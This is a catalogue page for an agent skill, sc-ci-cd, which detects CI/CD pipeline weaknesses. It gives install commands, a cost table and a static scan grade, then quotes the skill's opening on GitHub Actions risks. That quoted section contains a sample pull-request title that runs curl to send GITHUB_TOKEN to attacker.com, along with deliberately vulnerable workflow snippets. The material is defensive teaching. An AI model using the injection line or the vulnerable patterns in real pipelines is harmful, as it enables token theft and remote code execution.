Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add fatihkan/badi --skill sc-ci-cdgit clone --depth 1 https://github.com/fatihkan/badiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/fatihkan/badi/sc-ci-cd)<a href="https://agentmods.dev/skills/fatihkan/badi/sc-ci-cd"><img src="https://agentmods.dev/badge/skills/fatihkan/badi/sc-ci-cd/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/fatihkan/badi/sc-ci-cd"><img src="https://agentmods.dev/badge/skills/fatihkan/badi/sc-ci-cd.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00025 | $0.00975 |
| Opus 5 | $0.00013 | $0.00487 |
| Sonnet 5 | $0.00005 | $0.00195 |
| Haiku 4.5 | $0.00003 | $0.00097 |
Grade A, and why
sc-ci-cd scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# PR title: "Fix $(curl attacker.com/steal?t=$GITHUB_TOKEN)" → RCE This is a copy
97% identical to sc-ci-cd — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SC: CI/CD Pipeline Security
Purpose
Detects CI/CD pipeline security vulnerabilities with deep focus on GitHub Actions expression injection, pull_request_target misuse, untrusted third-party actions, secret exposure in logs, artifact poisoning, and pipeline privilege escalation. Also covers GitLab CI and general pipeline security patterns.
Activation
Called by sc-orchestrator during Phase 2 when CI/CD configuration files are detected.
Phase 1: Discovery
File Patterns
**/.github/workflows/*.yml, **/.github/workflows/*.yaml,
**/.gitlab-ci.yml, **/Jenkinsfile, **/.circleci/config.yml,
**/.travis.yml, **/azure-pipelines.yml
GitHub Actions Security Checks
1. Expression Injection (Critical):
# VULNERABLE: User-controlled data in run command
- run: echo "Title: ${{ github.event.pull_request.title }}"
# PR title: "Fix $(curl attacker.com/steal?t=$GITHUB_TOKEN)" → RCE
# SAFE: Use environment variable (not interpreted by shell)
- run: echo "Title: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
Dangerous contexts: github.event.pull_request.title, github.event.pull_request.body,
github.event.issue.title, github.event.issue.body, github.event.comment.body,
github.event.review.body, github.event.head_commit.message,
github.event.commits[*].message, github.head_ref
2. pull_request_target with Checkout:
# VULNERABLE: Checking out PR code with write access
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # PR code!
- run: npm install # Runs attacker's package.json scripts!
3. Untrusted Actions:
# RISKY: Mutable tag reference
- uses: some-org/some-action@v1 # Tag can be moved to malicious commit
# SAFE: Pin to SHA
- uses: some-org/some-action@a1b2c3d4e5f6... # Immutable
4. Excessive GITHUB_TOKEN Permissions:
# VULNERABLE: Default write-all permissions
# (no permissions block = write access to everything)
# SAFE: Minimal permissions
permissions:
contents: read
pull-requests: write
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 120 lines · 25 tokens per session scan A dd39e0a2483c
sc-ci-cd is a skill published in the GitHub repository fatihkan/badi (7 stars, last pushed 2d ago), licensed MIT. It adds 25 tokens to every session and 975 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 97% identical to sc-ci-cd, differing in 1 line, and is treated as a copy.
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